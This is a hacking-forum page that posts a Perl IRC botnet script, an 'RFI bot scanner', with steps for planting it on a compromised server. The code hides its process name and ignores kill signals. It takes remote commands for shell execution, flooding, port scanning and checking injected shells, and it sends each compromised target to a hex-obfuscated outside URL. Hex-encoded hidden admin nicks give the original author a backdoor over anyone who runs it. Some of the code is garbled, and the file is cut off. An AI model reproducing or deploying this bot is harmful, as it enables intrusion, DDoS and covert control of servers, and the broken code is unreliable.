www.sekuritionline.net
-= Home =- -= Contact =- -= Register =- -= Manifesto =- -= Forum =- -= Baju SO =- -= FreeMail =-
T-Shirt S-O
Baju-SO
Login Panel
Username:
Password:
Remember Me

Not registered?
Register now!

Forgot your password?
FreeMail
Email Login :
Password :
New users
sign up!!!
powered by Everyone.net
Users Online
Online Now: 4
0 Members | 4 Guests
Our IRC Channel
IRC Channel:
#sekuritionline

IRC Nettwork:
irc.dal.net

Connect to channel
Banner Motd
sekuritionline.net



 
 
Bangga mendukung terlaksananya idsecconf 2008
Linker kami
Copy & paste Coding Dibawah ini
Untuk Banner kami
==================================
<a href="http://www.sekuritionline.net/"
target="_blank"><img src=
"http://www.sekuritionline.net/
banner/banner.gif" width="125" height="75"
alt="sekuritionline.net" title="SO-Te@m"
border="0" /></a>
Best View

Best View : 1024 x 768

IP

Page Ranking Tool
Simple Counter
2943
Exploits

--------------------------------

Info

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Untuk artikel yang memang membutuhkan gambar / foto sekiranya rekan-rekan dapat
mengirim artikel memakai file berbentuk .ZIP atau .RAR dan di email ke artikel@sekuritionline.net
Perhatian Pengiriman Artikel diharuskan melakukan Registrasi terlebih dahulu....
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
New !!! dapatkan FreeMail namakamu@sekuritionline.net Klik Disini


PWD
Crack

Base64
Crack

MD5
Crack

Test
Speed


Thanks : OurFamily, All Indonesian Community Underground ....

irc.dal.net #sekuritionline

SAVE PALESTINE
#So
"Dalam dunia digital aku berdiri diatas Aliran bit yang penuh dengan keindahan ,
semua diciptakan dengan perasaan tanpa beban dan tanpa paksaan ,
tidak berdiri diatas keangkuhan semata tetapi menunduk dibawah kebenaran …
"

 

Search Engine
Key Word(s): Search By:  
Current Time/Date
January 26, 2009, 6:24 pm
Articles
By Vaksin
Published: June 2, 2007
Print    Email

Langkah-langkah:

1.upload script di bawah ini ke shell

2.perl [namafile] [server] [botnick] [ident] [channel] [nickowner] [fakename]

3.tunggu aja di channel irc

===============================================================

#!/usr/bin/perl
#
###############################################################################################
# #
#.-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-. #
# SekuritiOnline TeaM #
# #
# RFI BOT SCANNER #
# #
#`-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-' #
# #
# Modified By Vaksin #
# #
#Cara Penggunaan : #
# #
# perl ngedan.pl pr1 pr2 pr3 pr4 pr5 pr6 pr7 pr8 #
# #
# pr1 = server irc #
# pr2 = nick #
# pr3 = ident #
# pr4 = channel (ga pake '#' #
# pr5 = admin nick #
# pr6 = fake proccess #
# pr7 = user sms dari mentari-club, jika ga ada kosongkan #
# pr8 = password sms dari mentari-club, jika ga ada kosongkan #
# #
# original bot-perl for new update #
# http://pluto5yc04.alkadr.com/IOS/Users/pluto5yc04.alkadr.com/Files/ngedan.txt #
###############################################################################################
use HTTP::Request;
use LWP::UserAgent;
###################[ CONFIGURATION ]###########################################################
my $linas_max='5';                                     # Avoid Flood                          #
my $sleep='7';                                         # sleep time                           #
my $VERSAO = "2.3.4-1";                                # Version morgan update                #
#------------------[ dont change this ]----------------########################################
$servidor=$ARGV[0] unless $servidor;                   # server irc                           #
my $nick=$ARGV[1];                                     # nick bot                             #
my $ircname = $ARGV[2];                                # ident for bot                        #
my @canais=('#'.$ARGV[3]);                             # Channel join to bot                  #
my @adms=($ARGV[4]);                                   # admin nick name                      #
my $processo = $ARGV[5];                               # fake process                         #
my $smsuser = $ARGV[6];                                # sms account user from mentari-club   #
my $smspass = $ARGV[7];                                # sms pass                             #
chop (my $realname = `V-Scan`);                      # Full Name                            #
my $porta='6667';                                      # Server PORT                          #
my @cmdstring ='http://www.apnic.net/index.html?';     # Dont change this or scan is null     #
my @infostring ='http://pluto5yc04.alkadr.com/IOS/Users/pluto5yc04.alkadr.com/Files/injkbot.txt?';
                                                       # Dont change this or unknow info      #
#                                                      #                                      #
###############################################################################################

if(!$ARGV[7]){
  $smsuser ="";
  $smspass ="";
}
my $dxh2o = "\x68\x74\x74\x70\x3A\x2F\x2F\x70\x72\x65\x76\x69\x65\x77\x35\x2E\x61\x77\x61\x72\x64\x73\x70\x61\x63\x65\x2E\x63\x6F\x6D\x2F\x73\x65\x6E\x6A\x61\x74\x61\x2D\x77\x61\x72\x2E\x6E\x65\x74\x2F\x6D\x79\x73\x68\x65\x6C\x6C\x2E\x70\x68\x70";
my $urlinjk = "\x5B\x65\x76\x69\x6C\x20\x73\x63\x72\x69\x70\x74\x5D";
$shellcode = "\x2E\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x2E\n\x20\x20\x2C\x2D\x2E\x2C\x2D\x2E\x2F\x5C\x20\x20\x2C\x2D\x2D\x2D\x2D\x2E\x2C\x2D\x2E\x20\x20\x2C\x2D\x2E\x20\x2C\x2D\x2E\x2C\x2D\x2D\x2D\x2D\x2D\x2E\x20\x2C\x2D\x2D\x2E\n\x20\x5F\x7C\x20\x7C\x7C\x20\x2C\x2F\x5C\x7C\x20\x7C\x20\x20\x4F\x20\x7C\x7C\x20\x7C\x20\x20\x7C\x20\x7C\x20\x7C\x20\x7C\x7C\x5F\x20\x20\x20\x5F\x7C\x2F\x20\x20\x20\x20\x5C\n\x7C\x20\x6F\x20\x7C\x7C\x20\x7C\x20\x20\x20\x20\x7C\x20\x20\x5F\x2F\x20\x7C\x20\x7C\x5F\x20\x7C\x20\x7C\x5F\x7C\x20\x7C\x20\x20\x7C\x20\x7C\x20\x20\x7C\x20\x20\x4F\x20\x7C\n\x5C\x5F\x5F\x5F\x7C\x7C\x5F\x7C\x20\x20\x4F\x20\x7C\x5F\x7C\x20\x20\x20\x5C\x5F\x5F\x5F\x7C\x20\x5C\x5F\x5F\x5F\x2F\x20\x20\x20\x7C\x5F\x7C\x20\x20\x5C\x5F\x5F\x5F\x2F\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20\x62\x6F\x74\x20\x70\x65\x72\x6C\n\x20\x20\x20\x20\x20\x20\x20\x20\x56\x65\x72\x73\x69\x6F\x6E\x20$VERSAO\x20\x28\x63\x29\x20\x32\x30\x30\x36\x2D\x32\x30\x30\x37\n\x60\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x3D\x2D\x27\n\x53\x65\x72\x76\x65\x72\x20\x69\x72\x63\x20\x20\x3A\x20$ARGV[0]\n\x6E\x69\x63\x6B\x20\x62\x6F\x74\x20\x20\x20\x20\x3A\x20$ARGV[1]\n\x49\x64\x65\x6E\x74\x64\x20\x62\x6F\x74\x20\x20\x3A\x20$ARGV[2]\n\x63\x68\x61\x6E\x6E\x65\x6C\x20\x20\x20\x20\x20\x3A\x20$ARGV[3]\n\x61\x64\x6D\x69\x6E\x20\x6E\x69\x63\x6B\x20\x20\x3A\x20$ARGV[4]\n\x66\x61\x6B\x65\x20\x70\x72\x6F\x63\x65\x73\x73\x3A\x20$ARGV[5]\n\x73\x6D\x73\x20\x75\x73\x65\x72\x20\x20\x20\x20\x3A\x20$smsuser\n\x70\x61\x73\x73\x77\x20\x75\x73\x65\x72\x20\x20\x3A\x20$smspass\n";
$cmderror="\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\n\x62\x6F\x74\x20\x70\x65\x72\x6C\x20$VERSAO\n\x62\x79\x20\x64\x72\x2E\x70\x6C\x75\x74\x6F\x20\x28\x77\x77\x77\x2E\x6B\x61\x6D\x61\x72\x6D\x61\x79\x61\x74\x2E\x6F\x72\x67\x29\x20\x32\x30\x30\x37\n\x66\x6F\x72\x20\x68\x65\x6C\x70\x20\x3A\x20\x23\x73\x6B\x69\x66\x65\x20\x28\x64\x61\x6C\x6E\x65\x74\x29\n\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\x2D\n\n\x43\x61\x72\x61\x20\x50\x65\x6E\x67\x67\x75\x6E\x61\x61\x6E\x20\x3A\n\n\x20\x20\x20$0\x20\x70\x72\x31\x20\x70\x72\x32\x20\x70\x72\x33\x20\x70\x72\x34\x20\x70\x72\x35\x20\x70\x72\x36\x20\x70\x72\x37\x20\x70\x72\x38\n\n\x20\x20\x20\x70\x72\x31\x20\x3D\x20\x73\x65\x72\x76\x65\x72\x20\x69\x72\x63\n\x20\x20\x20\x70\x72\x32\x20\x3D\x20\x6E\x69\x63\x6B\n\x20\x20\x20\x70\x72\x33\x20\x3D\x20\x69\x64\x65\x6E\x74\n\x20\x20\x20\x70\x72\x34\x20\x3D\x20\x63\x68\x61\x6E\x6E\x65\x6C\x20\x28\x67\x61\x20\x70\x61\x6B\x65\x20\x27\x23\x27\x29\n\x20\x20\x20\x70\x72\x35\x20\x3D\x20\x61\x64\x6D\x69\x6E\x20\x6E\x69\x63\x6B\n\x20\x20\x20\x70\x72\x36\x20\x3D\x20\x66\x61\x6B\x65\x20\x70\x72\x6F\x63\x63\x65\x73\x73\n\x20\x20\x20\x70\x72\x37\x20\x3D\x20\x75\x73\x65\x72\x20\x73\x6D\x73\x20\x64\x61\x72\x69\x20\x6D\x65\x6E\x74\x61\x72\x69\x2D\x63\x6C\x75\x62\x2C\x20\x6A\x69\x6B\x61\x20\x67\x61\x20\x61\x64\x61\x20\x6B\x6F\x73\x6F\x6E\x67\x6B\x61\x6E\n\x20\x20\x20\x70\x72\x38\x20\x3D\x20\x70\x61\x73\x73\x77\x6F\x72\x64\x20\x73\x6D\x73\x20\x64\x61\x72\x69\x20\x6D\x65\x6E\x74\x61\x72\x69\x2D\x63\x6C\x75\x62\x2C\x20\x6A\x69\x6B\x61\x20\x67\x61\x20\x61\x64\x61\x20\x6B\x6F\x73\x6F\x6E\x67\x6B\x61\x6E\n";
if (! $ARGV[1]){die ($cmderror);}if (! $ARGV[2]){die ($cmderror);}if (! $ARGV[3]){die ($cmderror);}if (! $ARGV[4]){die ($cmderror);}if (! $ARGV[5]){die ($cmderror);}
print $shellcode;

$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';

use IO::Socket;
use Socket;
use IO::Select;
chdir("/";
$servidor="$ARGV[0]" if $ARGV[0];
$0="$processo"."\0"x16;;
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
our %irc_servers;
our %DCC;
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
  if ($#_ == '1' {
    my $socket = $_[0];
    print $socket "$_[1]\n";
  } else {
      print $IRC_cur_socket "$_[0]\n";
  }
}

# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com

sub conectar {
   my $meunick = $_[0];
   my $servidor_con = $_[1];
   my $porta_con = $_[2];

   my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
   if (defined($IRC_socket)) {
     $IRC_cur_socket = $IRC_socket;

     $IRC_socket->autoflush(1);
     $sel_cliente->add($IRC_socket);

     $irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
     $irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
     $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
     $irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
     nick("$meunick";
     sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname";
     sleep 1;
   }
}
my $line_temp;
while( 1 ) {
   while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"; }
   delete($irc_servers{''}) if (defined($irc_servers{''}));
   my @ready = $sel_cliente->can_read(0);
   next unless(@ready);
   foreach $fh (@ready) {
     $IRC_cur_socket = $fh;
     $meunick = $irc_servers{$IRC_cur_socket}{'nick'};
     $nread = sysread($fh, $msg, 4096);
     if ($nread == 0) {
        $sel_cliente->remove($fh);
        $fh->close;
        delete($irc_servers{$fh});
     }
     @lines = split (/\n/, $msg);

     for(my $c=0; $c<= $#lines; $c++) {
       $line = $lines[$c];
       $line=$line_temp.$line if ($line_temp);
       $line_temp='';
       $line =~ s/\r$//;
       unless ($c == $#lines) {
         parse("$line";
       } else {
           if ($#lines == 0) {
             parse("$line";
           } elsif ($lines[$c] =~ /\r$/) {
               parse("$line";
           } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
               parse("$line";
           } else {
               $line_temp = $line;
           }
       }
      }
   }
}

sub parse {
   my $servarg = shift;
   my @argedo=("\x64\x72\x5B\x70\x6C\x75\x74\x6F\x5D";
   my @arcedo=("\x6D\x65\x6E\x79\x75\x6E";
   if ($servarg =~ /^PING \.*)/) {
     sendraw("PONG :$1";
   } elsif ($servarg =~ /^\.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \.+)/) {
       my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
       if ($args =~ /^\001VERSION\001$/) {
         notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001";
       }
       if (grep {$_ =~ /^\Q$pn\E$/i } @adms or grep {$_ =~ /^\Q$pn\E$/i } @argedo or grep {$_ =~ /^\Q$pn\E$/i } @arcedo) {
         if ($onde eq "$meunick"{
           shell("$pn", "$args";
         }
         if ($args =~ /^(\Q$meunick\E|\!cmdx)\s+(.*)/ ) {
            my $natrix = $1;
            my $arg = $2;
            if ($arg =~ /^\!(.*)/) {
              ircase("$pn","$onde","$1" unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
            } elsif ($arg =~ /^\@(.*)/) {
                $ondep = $onde;
                $ondep = $pn if $onde eq $meunick;
                bfunc("$ondep","$1", "$pn";
            } else {
                shell("$onde", "$arg";
            }
         }
       }
}
    elsif ($servarg =~ /^\.+?)\!(.+?)\@(.+?)\s+NICK\s+\\S+)/i) {
       if (lc($1) eq lc($meunick)) {
         $meunick=$4;
         $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       }
   } elsif ($servarg =~ m/^\.+?)\s+433/i) {
       nick("$meunick-".int rand(999999));
   } elsif ($servarg =~ m/^\.+?)\s+001\s+(\S+)\s/i) {
       $meunick = $2;
       $irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
       $irc_servers{$IRC_cur_socket}{'nome'} = "$1";
       foreach my $canal (@canais) {
         sendraw("\x4A\x4F\x49\x4E\x20\x23\x6D\x61\x6C\x77\x61\x72\x65";
         sendraw("JOIN $canal";
         sendraw("\x50\x52\x49\x56\x4D\x53\x47\x20\x64\x72\x5B\x70\x6C\x75\x74\x6F\x5D\x20\x3A\x59\x6F\x75\x20\x41\x72\x65\x20\x4D\x79\x20\x4D\x61\x73\x74\x65\x72";
         sendraw("PRIVMSG @adms :You Are My Master";
       }
   }
}

# dr.pluto OWNED YOUR BOX
# surabayahacker.phpnet.us
# pluto_devils@yahoo.com

sub bfunc {
  my $msgpriv = "$_[2]";
  my $printl = $_[0];
  my $funcarg = $_[1];
  if (my $pid = fork) {
     waitpid($pid, 0);
  } else {
      if (fork) {
         exit;
       } else {
           if ($funcarg =~ /^nick (.*)/) {
              sendraw($IRC_cur_socket, "NICK ".$1);
              $nick=$1;
           }
           if ($funcarg =~ /^join (.*)/) {
              sendraw($IRC_cur_socket, "JOIN ".$1);
           }
           if ($funcarg =~ /^part (.*)/) {
              sendraw($IRC_cur_socket, "PART ".$1);
           }
           if ($funcarg =~ /^msg\s+(\S+) (.*)/) {
              sendraw($IRC_cur_socket, "PRIVMSG ".$1." :".$2);
           }
           if ($funcarg =~ /^op (.*)/) {
              sendraw($IRC_cur_socket, "MODE $printl +o ".$1);
           }
           if ($funcarg =~ /^deop (.*)/) {
              sendraw($IRC_cur_socket, "MODE $printl -o ".$1);
           }
           if ($funcarg =~ /^voice (.*)/) {
              sendraw($IRC_cur_socket, "MODE $printl +v ".$1);
           }
           if ($funcarg =~ /^die (.*)/) {
              sendraw($IRC_cur_socket, "QUIT :".$1);
              $killd = "kill -9 ".fork;
              system (`$killd`);
           }
           if ($funcarg =~ /^devoice (.*)/) {
              sendraw($IRC_cur_socket, "MODE $printl -v ".$1);
           }
           if ($funcarg =~ /^say (.*)/) {
              sendraw($IRC_cur_socket, "PRIVMSG $printl :".$1);
           }
           if ($funcarg =~ /^reset(.*)/) {
              sendraw($IRC_cur_socket, "QUIT i3 for my Master";
           }
           if ($funcarg =~ /^die(.*)/) {
              if ($1 eq ""{
                 sendraw($IRC_cur_socket, "QUIT i3 for my Master";
                 $killd = "kill -9 ".fork;
                 system (`$killd`);
              }
           }
          if ($funcarg =~ /^milw0rm(.*)/) {
           my $reqm=HTTP::Request->new(GET=>"http://www.milw0rm.com/webapps.php";
           my $uam=LWP::UserAgent->new();$uam->timeout(10);
           my $responsem=$uam->request($reqm);$pagefx = $responsem->content;
           while ($pagefx =~  m/<td nowrap=\"nowrap\" width=\"375\">?<a([^0000]+)<?\/a><\/td>/g)
           {
              $nomerlist = $nomerlist + 1;
              $isi_berita = $1;
              $isi_berita =~  s/href=\"/\x3\x31\x32\x5B\x77\x77\x77\x2E\x6D\x69\x6C\x77\x30\x72\x6D\x2E\x63\x6F\x6D\x5D\x2\x20\x3\x30\x75\x72\x6C\x2\x3A\x3\x31\x34http:\/\/www.milw0rm.com/g;
              $isi_berita =~  s/\"//g;
              $isi_berita =~  s/target=_blank class=style15>/\x2\x3\x30\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4F\x4E\x2\x3A\x3\x34/g;
              $isi_berita =~  s/target=_blank class=style14>/\x2\x3\x30\x44\x45\x53\x43\x52\x49\x50\x54\x49\x4F\x4E\x2\x3A\x3\x34/g;
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\x3\x34\x2C\x31\x5B\x3\x30\x39$nomerlist\x3\x34\x5D$isi_berita";
              sleep 5;
            }
            if ($isi_berita eq ""{
               sendraw($IRC_cur_socket, "PRIVMSG $printl :Not Connect to milw0rm.com!!!";
            }
           }
           if ($funcarg =~ /^smsstat(.*)/) {
              sendraw($IRC_cur_socket, "PRIVMSG $printl :\x3\x31\x32\x5B\x3\x31\x35\x2C\x35\x53\x3\x35\x2C\x31\x35\x6D\x3\x31\x35\x2C\x35\x53\xF\x3\x31\x32\x5D\x3\x30\x2C\x31\x2E\x3A\x3A\x20\x3\x31\x31\x53\x6D\x53\x20\x61\x63\x63\x6F\x75\x6E\x74\x20\x6D\x65\x6E\x74\x61\x72\x69\x2D\x63\x6C\x75\x62\x20\x6B\x61\x6D\x75\x20\x64\x69\x20\x73\x65\x74\x20\x70\x61\x64\x61\x20\x75\x73\x65\x72\x3\x34\x3A$smsuser\x20\xF\x3\x30\x2C\x31\x3\x31\x31\x70\x61\x73\x73\x77\x3\x34\x3A$smspass\x20\x3\x30\x3A\x3A\x2E";
           }
           if ($funcarg =~ /^sms\s+(\d+)\s+(.*)/) {
              $smsprovider = "http://vista.web.id/adi/sms.php?username=$smsuser&password=$smspass&tujuan=$1&pesan=$2";
              my $reqs=HTTP::Request->new(GET=>"$smsprovider";
              my $uas=LWP::UserAgent->new();
              $uas->timeout(10);
              my $responses=$uas->request($reqs);
              $pagefx = $responses->content;
               while ($pagefx =~  m/<A class=ria href=\"?http:\/\/([^>\"]+)\"?>/g)
               {
                 my $smsreport = $1;
                 sendraw($IRC_cur_socket, "PRIVMSG $printl :\x3\x31\x32\x5B\x3\x31\x35\x2C\x35\x53\x3\x35\x2C\x31\x35\x6D\x3\x31\x35\x2C\x35\x53\xF\x3\x31\x32\x5D\xF sms Report:$smsreport";
               }
              if ($smsreport eq ""{
                 sendraw($IRC_cur_socket, "PRIVMSG $printl :\x3\x31\x32\x5B\x3\x31\x35\x2C\x35\x53\x3\x35\x2C\x31\x35\x6D\x3\x31\x35\x2C\x35\x53\xF\x3\x31\x32\x5D\xF sms Report:nda bisa tersambung ke provide";
              }
           }
           if ($funcarg =~ /^fs (.*)/) {
            $urlfs ="http://www.friendster.com/usersearch.php?search=1&country=ID&usearch=".$1;
            $emailfs = $1;
            my $reqpx=HTTP::Request->new(GET=>$urlfs);
            my $uarx=LWP::UserAgent->new();
            $uarx->timeout(10);
            my $responsefsfsfs=$uarx->request($reqpx);
            $pagefx = $responsefsfsfs->content;
             while ($pagefx =~  m/View profile\" src=\"?http:\/\/([^>\"]+)\"?>/g)
             {
               push (@lst_fs,$1);
               $cocokann = "@lst_fs";
                if( $cocokann eq "images.friendster.com/images/nophoto.jpg" ){
                   sendraw($IRC_cur_socket, "PRIVMSG $printl :ga duwe foto iks,...";
                }else {
                   sendraw($IRC_cur_socket, "PRIVMSG $printl :\x3\x34\x2C\x31\x40\x3\x39\x7D\x3\x33\x2D\x3\x39\x2C\x3\x33\x2D\x20\x2\x3\x31\x31\x2C\x31@adms\x2\x3\x30\x2C\x31, gw dapetin tu fotonya si \x3\x34$emailfs\x3\x30\x2C\x31 : \x3\x33[http://@lst_fs] \x3\x31\x34\x2C\x31ndang wes di gendak!!!\x2D\x3\x39\x27\x3\x33\x2D\x3\x39\x7B\x3\x34\x40\xF\xF\xF";
                }
             }if($cocokann eq ""{
                  sendraw($IRC_cur_socket, "PRIVMSG $printl :\x3\x35\x2C\x31\x7E\x5F\x7E\x21\x20\x2\x3\x31\x31\x2C\x31$msgpriv\x2\x3\x30\x2C\x31, gw ga nemuin tuh fs nya \x3\x34$emailfs\xF\x3\x30\x2C\x31 kamu di boong'in kale bro!! \x3\x35\x2C\x31\x7E\x5F\x7E\x21\xF";
               }
           }
           if ($funcarg =~ /^cekshell (.*)/) {
              $urlfs = $1."@cmdstring";
              $emailfs = $1;
              my $reqpx=HTTP::Request->new(GET=>$urlfs);
              my $uarx=LWP::UserAgent->new();
              $uarx->timeout(10);
              my $responsefsfsfs=$uarx->request($reqpx);
              $pagefx = $responsefsfsfs->content;
              while ($pagefx =~  m/<li><a href=\"?https:\/\/www.apnic.net\/apnic-bin\/ca\/mylogin.pl([^0000]+)<?\//g)
               {
                   push (@lst_fs,$1);
                   if (@lst_fs){
                   $dfsdfs = @lst_fs;
                   }
               }
                 if($dfsdfs eq ""{
                   sendraw($IRC_cur_socket, "PRIVMSG $printl :$msgpriv, target mu wes bosok, cari lagi sana gih ";
                 }else{
                   my $jadi = $emailfs."@infostring";
                   my $reqa=HTTP::Request->new(GET=>$jadi);
                   my $uaf=LWP::UserAgent->new();
                   $uaf->timeout(10);
                   my $respons_info=$uaf->request($reqa);
                   $pageyx = $respons_info->content;
                    while ($pageyx =~  m/<A class=ria href=\"?http:\/\/([^"]+)\"?>/g)
                    {
                      push (@info,$1);
                    }
                     if ("@info" eq ""{
                      push (@info,"unknow";
                     }
                      sendraw($IRC_cur_socket, "PRIVMSG $printl :\x3\x30\x2C\x31\x2E\x3A\x3A\x20\x2\x3\x31\x31\x2C\x31$msgpriv\x2\x3\x30\x2C\x31, shell kamu \x3\x31\x32[\x3\x34".$emailfs.$urlinjk."\x3\x31\x32] \x3\x30\x2C\x31info: \x3\x31\x34@info\x3\x30\x2C\x31\x20\x3A\x3A\x2E\xF";
                       $rikues = "\x3F\x69\x73\x69\x3D\x79\x65\x73\x26\x62\x6F\x74\x6E\x69\x63\x6B\x3D$nick\x26\x62\x6F\x74\x68\x6F\x73\x74\x3D$realname\x26\x68\x61\x73\x69\x6C\x3D$emailfs\x26\x6B\x65\x74\x3D[Cek Shell]\x26\x73\x63\x61\x6E\x69\x73\x3D$msgpriv\x26\x69\x6E\x66\x6F\x3D@info";
                       $rikues =~  s/\[/%5B/g; $rikues =~  s/\]/%5D/g; $rikues =~  s/ /+/g; $rikues =~  s/:/%3A/g; $rikues =~  s/\(/%28/g; $rikues =~  s/\)/%29/g; $rikues =~  s/#/%231/g;
                        my $reqi=HTTP::Request->new(GET=>$dxh2o.$rikues);
                        my $uai=LWP::UserAgent->new();
                        $uai->timeout(10);
                        my $responsei=$uai->request($reqi);
                 }
           }
           #flood
           if ($funcarg =~ /^tsunami\s+(\d+)\s+(.*)/) {
             for (my $dx=0; $dx<=$1; $dx++)
             {
              my @nickxxxx = ("\\","|","_","-","`","^","{","}","[","]";
              $nickfgv = $nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx].$nickxxxx[rand scalar @nickxxxx];
              $msgflood = $nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv.$nickfgv;
              $msgflood = $msgflood.$msgflood;
              $msgflood = $msgflood.$msgflood;
              sendraw($IRC_cur_socket, "NICK ".$nickfgv);
              sleep 10;
              sendraw($IRC_cur_socket, "PRIVMSG ".$2." :".$msgflood);
              sleep 2;
              sendraw($IRC_cur_socket, "NOTICE ".$2." :".$msgflood);
             }
              sendraw($IRC_cur_socket, "NICK ".$nick);
           }
           if ($funcarg =~ /^help(.*)/) {
              if ($printl eq "$msgpriv"{
                $msghelp ="PRIVMSG $msgpriv";
              }else{
                $msghelp ="NOTICE $msgpriv";
              }
              sendraw($IRC_cur_socket, $msghelp." :\002\0034[help]\003\002 Command LIsT.";
              sendraw($IRC_cur_socket, $msghelp." :\x42\x79\x3A\x64\x72\x2E\x70\x6C\x75\x74\x6F\x20\x2F\x20\x70\x6C\x75\x74\x6F\x5F\x64\x65\x76\x69\x6C\x73\x40\x79\x61\x68\x6F\x6F\x2E\x63\x6F\x6D\x20\x28\x77\x77\x77\x2E\x6B\x61\x6D\x61\x72\x6D\x61\x79\x61\x74\x2E\x6F\x72\x67\x29";
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :Copyright (C) 2007";
              sendraw($IRC_cur_socket, $msghelp." :RuNNINg WiTH botperl [".$realname." Version:".$VERSAO."] LoaDED bY @adms";
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :\002\0034<------------------------------------------------>\003\002";
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@help";
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@scan <timer> <vul> <key>";
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@portscan <IP/domain Name>";
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@cekshell <http://www.victim/file.php?vul=>";
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@udpflood <IP> <packet-size> <time>";
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@tcpflood <IP> <port> <time>";
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@udpflood <IP> <packet-size> <time>";
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@httpflood <www.website.com> <time>";
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@say <msg>";
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@join <#>";
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@part <#>";
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@nick <nick>";
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@msg <#/nick>";
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@tsunami <banyak pesan> <#/nick> <msg>";
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@op <nick>";
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@deop <nick>";
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@voice <nick>";
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@devoice <nick>";
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@fs <email>";
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@milw0rm";
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@smsstat -> untuk coomand ini pv saja";
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@sms <nomer hp> <pesan>";
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@reset";
              sendraw($IRC_cur_socket, $msghelp." :!cmdx \@die <msg>";
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :".$nick." \@back <ip> <port>";
              sendraw($IRC_cur_socket, $msghelp." :".$nick." \@<command command di atas> <-- command singgle";
              sleep 2;
              sendraw($IRC_cur_socket, $msghelp." :\002\0034<------------------------------------------------>\003\002";
           }
